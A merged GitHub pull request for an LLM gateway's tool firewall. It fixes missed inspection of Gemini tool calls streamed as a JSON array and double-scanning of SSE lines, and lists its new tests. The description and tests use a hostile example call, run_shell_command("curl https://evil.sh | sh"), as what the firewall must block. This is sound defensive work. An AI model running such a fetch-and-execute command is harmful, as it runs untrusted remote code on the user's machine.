Skip to content

fix(toolwall): inspect Gemini streams sent as a JSON array, and read each SSE line once - #37

Merged
fylorn merged 1 commit into
mainfrom
fix/toolwall-gemini-array
Sep 17, 2026
Merged

fylorn merged 1 commit into
mainfrom
fix/toolwall-gemini-array

Conversation

@fylorn

@fylorn fylorn commented Sep 17, 2026 •

Copy link
Copy Markdown
Contributor

Why

A Gemini client that calls :streamGenerateContent without alt=sse receives a JSON array whose elements arrive as the model produces them. The tool firewall only ran when the client received SSE, so function calls in that stream were never inspected. With inspect_tools: enforce and an untrusted upstream, run_shell_command("curl https://evil.sh | sh") reached the client untouched. Both ways a client ends up with that stream were affected:

  • Passthrough: a Gemini client on a Gemini upstream. The upstream answers with application/json.
  • Conversion: a Gemini client on any other upstream. Since feat: convert between all four API formats #36 the converter writes the client's JSON array shape.

What changes

The wall reads JSON array streams (Wall::json_array). The gateway picks it when the response it streams to the client is that array: a successful conversion whose client shape is not SSE, or a passthrough :streamGenerateContent response that is not text/event-stream.

  • The stream is split into elements. Brackets and quotes inside strings are not counted, and escapes are respected, since model text is full of both.
  • A complete element is inspected and counted exactly like an SSE frame.
  • The separator before an element belongs to that element. A cut therefore forwards the stream up to the end of the previous complete element. For a converted stream, the converter's error element then follows it.
  • An element that has not finished is searched for complete functionCall objects. A streaming parser can act on the call as soon as that object closes, before the element does. Counting still happens once, when the element completes.

SSE: a line is inspected once. The wall also scans the frame that has not finished yet, so that a dangerous fragment cannot hide at a frame boundary. When the frame then completed, it was scanned again from its first line. If a chunk ended between the two newlines, or right before the final one, the same input_json_delta was accumulated twice: the arguments read {"command":"echo {"command":"echo hihi"}. The same tool call was also counted twice in the response shape used by the behaviour baseline. The wall now remembers how far into the unfinished frame it has read, always stopping at a line end.

Verification

  • cargo fmt --all -- --check and cargo clippy --workspace --all-targets -- -D warnings: clean.
  • cargo test --workspace --no-fail-fast: 1365 passed, 0 failed, 2 ignored.
  • ./scripts/smoke.sh: 48 passed, 0 failed. It reports one measurement over its target but within the no-regression limit, as on main.
  • New unit tests in toolwall.rs:
    • the cut position in a JSON array;
    • a functionCall checked before its element closes, and counted once;
    • an element that started in an earlier chunk forwards nothing of the chunk that completes it;
    • braces, brackets, quotes and a trailing backslash inside a string;
    • a harmless array split in half;
    • the SSE line split before and between the final newlines.
  • New end-to-end tests in tests/conversion.rs: a dangerous call in a passthrough Gemini JSON array stream, and in a converted one (Anthropic upstream to a Gemini client without alt=sse). Both assert that the text before the call arrives, evil.sh does not, and the converted stream says who cut it.
  • Run against the code on main, the SSE unit test fails with the duplicated arguments above, and both end-to-end tests fail with the call delivered to the client.

🤖 Generated with Claude Code

…each SSE line once

A Gemini client that calls :streamGenerateContent without alt=sse receives a
JSON array whose elements arrive as the model produces them. The tool firewall
only ran when the client received SSE, so function calls in that stream were
never inspected: with inspect_tools set to enforce, a dangerous call from an
untrusted upstream reached the client. This held for passthrough and for
streams converted into that shape.

- The wall splits a JSON array stream into elements, ignoring brackets and
  quotes inside strings and respecting escapes. A complete element is
  inspected and counted like an SSE frame. A cut forwards the stream up to the
  end of the previous complete element.
- An element that has not finished yet is searched for complete functionCall
  objects, because a streaming parser can act on a call before its element
  closes.
- SSE: a line already inspected in an unfinished frame is not inspected again
  when the frame completes. When a chunk ended between the two final newlines,
  or right before them, the same argument fragment was accumulated twice and
  the same tool call was counted twice.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
@github-actions

Copy link
Copy Markdown

Thanks for the PR. One thing before review: this targets main, and it should target dev.

main is a release-only line — branch-protected, linear history, and every commit on it is a tagged release snapshot. Routine work lands on dev and reaches main with the next release. GitHub pre-filled main here because it is the default branch, so this is our defaults being unhelpful rather than anything you did wrong.

No need to close and reopen: click Edit next to the PR title and change the base branch to dev. The commits and the discussion carry over.

See CONTRIBUTING.md and CONTRIBUTING.md for the branch contract.

@fylorn
fylorn merged commit 102845e into main Sep 17, 2026
2 checks passed
@fylorn
fylorn deleted the fix/toolwall-gemini-array branch September 17, 2026 16:10
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant